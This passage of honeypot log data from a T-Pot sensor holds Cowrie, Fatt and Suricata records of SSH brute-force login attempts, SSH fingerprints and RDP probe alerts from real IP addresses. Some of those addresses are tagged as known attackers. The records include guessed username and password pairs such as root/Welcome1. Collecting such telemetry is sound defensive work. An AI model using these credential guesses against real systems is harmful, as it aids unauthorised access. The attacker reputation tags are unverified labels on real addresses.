"aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35424, "timestamp": "2021-09-20T11:14:03.867729", "@timestamp": "2021-09-20T11:14:03.867Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27329	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:04.619244+03	2021-09-20 14:15:14.433674+03	{"_id": "CgbpAnwBvYTbRNuEuyeG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [root/Welcome1] failed", "session": "b65400707ad1", "@version": "1", "password": "Welcome1", "username": "root", "timestamp": "2021-09-20T11:14:04.619244Z", "@timestamp": "2021-09-20T11:14:04.619Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27330	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:03.866842+03	2021-09-20 14:15:14.435674+03	{"_id": "DAbpAnwBvYTbRNuEuyeH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "eb50fe4306f2", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:03.866842Z", "@timestamp": "2021-09-20T11:14:03.866Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27331	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:04.144416+03	2021-09-20 14:15:14.436674+03	{"_id": "DQbpAnwBvYTbRNuEuyeH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "eb50fe4306f2", "@version": "1", "timestamp": "2021-09-20T11:14:04.144416Z", "@timestamp": "2021-09-20T11:14:04.144Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27332	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:04.449284+03	2021-09-20 14:15:14.438675+03	{"_id": "DgbpAnwBvYTbRNuEuyeH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [sms/sms] failed", "session": "d9149417b87d", "@version": "1", "password": "sms", "username": "sms", "timestamp": "2021-09-20T11:14:04.449284Z", "@timestamp": "2021-09-20T11:14:04.449Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27333	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:05.274941+03	2021-09-20 14:15:14.439674+03	{"_id": "EAbpAnwBvYTbRNuEvydv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [add/add] failed", "session": "eb50fe4306f2", "@version": "1", "password": "add", "username": "add", "timestamp": "2021-09-20T11:14:05.274941Z", "@timestamp": "2021-09-20T11:14:05.274Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27334	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:14:06.506152+03	2021-09-20 14:15:14.440679+03	{"_id": "EgbpAnwBvYTbRNuEwydY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ed078a0ef281", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:06.506152Z", "@timestamp": "2021-09-20T11:14:06.506Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27335	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:05.996526+03	2021-09-20 14:15:14.441646+03	{"_id": "FQbpAnwBvYTbRNuEwydY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "d9149417b87d", "@version": "1", "duration": 3.3659908771514893, "timestamp": "2021-09-20T11:14:05.996526Z", "@timestamp": "2021-09-20T11:14:05.996Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27336	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:02.668451+03	2021-09-20 14:15:14.444644+03	{"_id": "4AbpAnwBvYTbRNuEsyay", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d9149417b87d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:14:02.668451Z", "@timestamp": "2021-09-20T11:14:02.668Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27339	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:14:02.893136+03	2021-09-20 14:15:14.448647+03	{"_id": "5gbpAnwBvYTbRNuEtibh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "178.128.20.19", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45960, "timestamp": "2021-09-20T11:14:02.893136", "@timestamp": "2021-09-20T11:14:02.893Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27340	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:14:06.376992+03	2021-09-20 14:15:14.449646+03	{"_id": "FgbpAnwBvYTbRNuEwydY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:52592 (192.168.176.2:22) [session: ed078a0ef281]", "session": "ed078a0ef281", "@version": "1", "protocol": "ssh", "src_port": 52592, "dest_port": 22, "timestamp": "2021-09-20T11:14:06.376992Z", "@timestamp": "2021-09-20T11:14:06.376Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27341	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:14:06.079118+03	2021-09-20 14:15:14.450676+03	{"_id": "GwbpAnwBvYTbRNuEwydY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b65400707ad1", "@version": "1", "duration": 2.6832022666931152, "timestamp": "2021-09-20T11:14:06.079118Z", "@timestamp": "2021-09-20T11:14:06.079Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27342	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:14:06.678051+03	2021-09-20 14:15:14.451674+03	{"_id": "HAbpAnwBvYTbRNuEwydY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "ed078a0ef281", "@version": "1", "timestamp": "2021-09-20T11:14:06.678051Z", "@timestamp": "2021-09-20T11:14:06.678Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
27343	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:14:06.65479+03	2021-09-20 14:15:14.453674+03	{"_id": "HQbpAnwBvYTbRNuExSdP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 1146521873450592, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 52592, "dest_port": 22, "timestamp": "2021-09-20T11:14:06.654790Z", "@timestamp": "2021-09-20T11:14:06.654Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
27344	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:13:56.72345+03	2021-09-20 14:15:14.454675+03	{"_id": "pgbpAnwBvYTbRNuEniY4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:13:56.364468+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 534882022625204, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 54585, "timestamp": "2021-09-20T11:13:56.723450Z", "@timestamp": "2021-09-20T11:13:56.723Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
27345	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:13:56.697598+03	2021-09-20 14:15:14.456647+03	{"_id": "pwbpAnwBvYTbRNuEniY4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:13:56.364468+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 534882022625204, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 54585, "dest_port": 3389, "timestamp": "2021-09-20T11:13:56.697598Z", "@timestamp": "2021-09-20T11:13:56.697Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
27346	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:13:59.857849+03	2021-09-20 14:15:14.457677+03	{"_id": "1AbpAnwBvYTbRNuEqybi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:47540 (192.168.176.2:22) [session: a235e0e49439]", "session": "a235e0e49439", "@version": "1", "protocol": "ssh", "src_port": 47540, "dest_port": 22, "timestamp": "2021-09-20T11:13:59.857849Z", "@timestamp": 